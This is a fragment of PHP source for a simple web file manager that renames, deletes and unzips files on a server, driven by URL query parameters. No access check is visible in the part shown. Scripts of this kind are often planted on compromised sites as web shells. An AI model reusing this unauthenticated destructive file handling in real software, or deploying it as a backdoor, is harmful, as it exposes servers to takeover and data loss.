Editing: $file
"; exit; } } // Rename if (isset($_GET['rename']) && isset($_GET['to'])) { $oldName = basename($_GET['rename']); $newName = basename($_GET['to']); if (file_exists($oldName)) { rename($oldName, $newName); $message = "Renamed $oldName to $newName"; } } // Delete if (isset($_GET['delete'])) { $target = basename($_GET['delete']); if (is_dir($target)) { rmdir($target) ? $message = "Folder deleted: $target" : $message = "Failed to delete folder: $target"; } elseif (is_file($target)) { unlink($target) ? $message = "File deleted: $target" : $message = "Failed to delete file: $target"; } } // Extract ZIP if (isset($_GET['extract'])) { $zipFile = basename($_GET['extract']); if (is_file($zipFile)) { $zip = new ZipArchive; if ($zip->open($zipFile) === TRUE) { $zip->extractTo($path); $zip->close(); $message = "Extracted $zipFile"; } else { $message = "Failed to extract $zipFile"; } } } ?>Current Path: = htmlspecialchars($path) ?>
| Name | Size | Permissions | Actions |
|---|---|---|---|
| = htmlspecialchars($file) ?> = htmlspecialchars($file) ?> | = $isDir ? "-" : filesize($filePath) . " bytes" ?> | = getPermissions($filePath) ?> | Edit | Extract | Delete | Rename: |